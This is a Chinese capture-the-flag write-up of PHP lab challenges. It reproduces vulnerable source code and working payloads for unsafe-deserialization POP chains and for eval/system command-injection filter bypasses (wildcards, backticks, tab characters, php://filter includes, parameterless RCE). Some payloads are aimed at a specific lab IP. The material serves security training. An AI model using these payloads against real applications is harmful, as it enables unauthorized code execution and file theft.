1-2 CTFshow255
题目
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
题解
从cookie反序列化user。
http://222.71.48.91:10002/?username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D1-3 简单的反序列化-1
题目
<?php
highlight_file(__FILE__);
class evil
{
public $cmd;
public function __destruct()
{
system($this->cmd);
}
}
unserialize($_GET['data']);题解
从data传入命令
class evil
{
public $cmd;
}
$d=new evil();
$d->cmd="cat /flag.txt";
echo serialize($d);
http://222.71.48.91:10003/?data=O:4:%22evil%22:1:{s:3:%22cmd%22;s:9:%22cat%20/flag%22;}1-4 简单的反序列化-2
题目
<?php
highlight_file(__FILE__);
class ezUnserialize
{
public $key ;
public function __destruct()
{
if($this->key == "FLAG"){
include('flag.php');
echo $flag;
}
}
}
unserialize($_POST['a']);题解
class ezUnserialize
{
public $key ;
}
$d=new ezUnserialize();
$d->key='FLAG';
echo serialize($d);
//O:13:"ezUnserialize":1:{s:3:"key";s:4:"FLAG";}1-5 简单的反序列化-3
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
class New_gril{
public $girlfriend;
function __construct($a){
echo 3;
$this->girlfriend = $a;
}
}
class Old_gril
{
public $girlfriend = 'Ok';
function __destruct(){
echo 2;
$old = 'long long ago'.$this->girlfriend;
echo $old;
}
}
class Ok{
public $ok;
function __toString(){
echo 1;//flag.php
echo file_get_contents($this->ok); //出口
return 'nice';
}
//echo this->ok; //出口
}
unserialize(($_POST['need'])); //入口
?>题解
OldGirl中字符串拼接会触发toString。
class New_gril{
public $girlfriend;
}
class Old_gril
{
public $girlfriend = 'Ok';
}
class Ok{
public $ok;
}
$g=new New_gril();
$o=new Old_gril();
$k=new Ok();
$k->ok='flag.php';
$o->girlfriend=$k;
echo serialize($o);
//O:8:"Old_gril":1:{s:10:"girlfriend";O:2:"Ok":1:{s:2:"ok";s:8:"flag.php";}}2-2
题目
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
题解
// w33m中的this->w22m 被作为函数调用,目标是调用GetFlag,因此w33m.w22m=Getflag
// w00m是getflage的父类,w44m,因此w33m.w00m=w44m;
// 要调用w33m的tosting,需要通过w22m的echo
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$w4=new w44m();
$w3=new w33m();
$w3->w00m=$w4;
$w3->w22m='Getflag';
$w2=new w22m();
$w2->w00m=$w3;
echo urlencode(serialize($w2));
?>
//O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D2-3
题目
<?php
//flag is in flag.php
error_reporting(0);
highlight_file(__FILE__);
//ini_set('display_errors', 1);
//ini_set('display_startup_errors', 1);
//error_reporting(E_ALL);
class Read {
public $var;
public function file_get($value)
{
//file_get_contents文件读取函数
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}//用来欢迎
//将函数用为字符串时会调用__toString方法
public function __toString()
{
//如果str数组的键为str,并且值为对象,则去访问对象的source属性
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
//1.tostring
//2.xxx _get()
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
//$function = $this->p; 的意思是将p数组的值赋值给$function
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('index.php');
$show->_show();
}题解
最终的出口是Read函数中file_get方法,这个方法被invoke调用,因此需要找到invoke调用点,并且传入值var=flag.php
要调用invoke,需要调用不存在的方法,在Test类下面的get函数中会将p作为函数返回,下一步要找get的调用点,并且Test.p=Read
调用不存在的属性会触发get,因此需要通过Show函数的toString方法,调用str['str']的source方法触发,因此Show.str['str']=Test
要调用toString方法,需要通过Show函数的构造函数,因此还需要新建一个Show变量,将构造好的变量作为构造函数参数传入。
class Read {
public $var;
}
class Show
{
public $source;
public $str;
public function __construct($file='')
{
$this->source = $file;
}//用来欢迎
}
class Test
{
public $p;
}
$r=new Read();
$r->var='flag.php';
$t=new Test();
$t->p=$r;
$s=new Show();
$s->str['str']=$t;
$ss=new Show($s);
echo serialize($ss);
?>
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:0:"";s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:8:"flag.php";}}}}s:3:"str";N;}3-1
<?php
/*
在 Linux shell 中,* 可以匹配任意长度的字符,? 可以匹配单个字符;
你可以利用通配符代替文件名里被过滤的部分,例如:
fl* 可以匹配 flag
fl?g 可以匹配 flag
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}题解
?c=system(%27cat%20/fl?g%27);3-2
题目
<?php
/*
system函数被过滤了,可以找到其它命令执行的函数吗?
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}题解
通过 echo ` command `; 来执行
?c=echo%20`cat%20/fl?g`;3-3
<?php
/*
空格被过滤了 ,有没有其它方式可以替换空格呢?
同样的,读取文件的cat也可以使用平替命令
*/
error_reporting(0);
if (isset($_GET['c'])) {
$c = $_GET['c'];
if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)) {
eval($c);
}
} else {
highlight_file(__FILE__);
}题解
%09替换空格 tac替代cat
?c=echo%09`tac%09/fl?g`;3-4
题目
<?php
/*
括号都被过滤了,尝试下文件包含?
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}题解
过滤了括号,借助include函数,来随意获取其他传入参数
通过include函数包含我们的目标flag文件来回显
目标是eval(include flag;)
中间空格依然使用%09绕过,分号用?>绕过。
通过文件包含协议转义输出文件
c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=/flag4-2
题目
<?php
/*
/dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}题解
截断即可
?c=cat%20/flag;4-3
题目
<?php
highlight_file(__FILE__);
if (isset($_GET['code'])) {
if (';' == preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
die('nonono');
}
} else {
echo 'please input code';
}
?>
please input code题解
由于鄙人看不懂正则,直接问AI
### 正则表达式解析:/[^\W]+\((?R)?\)/
该正则表达式用于匹配 嵌套的函数调用结构 ,具体功能如下:
1. 1.
结构分解 :
```
[^\W]+ 匹配函数名(等价 \w+)
\( 匹配左括号
(?R)? 递归整个模式(允许嵌套)
\) 匹配右括号
```
2. 1.
匹配示例 :
- ✅ func()
- ✅ func1(func2())
- ✅ a(b(c(d())))
- ❌ 123abc() (数字开头)
- ❌ my_func( (括号不完整)这个正则只允许函数加括号形式的输入。
这里参考了这篇文章来读取根目录文件:无参数读文件和RCE总结
?code=if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));
解释一下这段代码,
首先看if的功能
strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/
crypt函数对输入的字符串进行散列,通过serialize(array())来得到一个字符串,再传入此函数加密,加密是有概率在最后一位产生/的,因此通过strrev()函数进行翻转,可以有概率在第一位得到/字符
此时通过ord,再chr,可以获得字符串的第一位,通过chdir,可以切换当前的工作目录至/
然后调用show_source函数,这里通过getcwd()可以获得一个.,然后scandir(.)可以获得当前目录下的所有文件,以数组的形式返回,经过测试,flag文件会被排在第7位,无法直接获取,借助array_flip(),先把数组的值和键对调,这样就把flag从值变成键,再通过array_rand()来随机获取一个数字的键,从而有概率得到flag,再通过show_source显示文件内容。
文章评论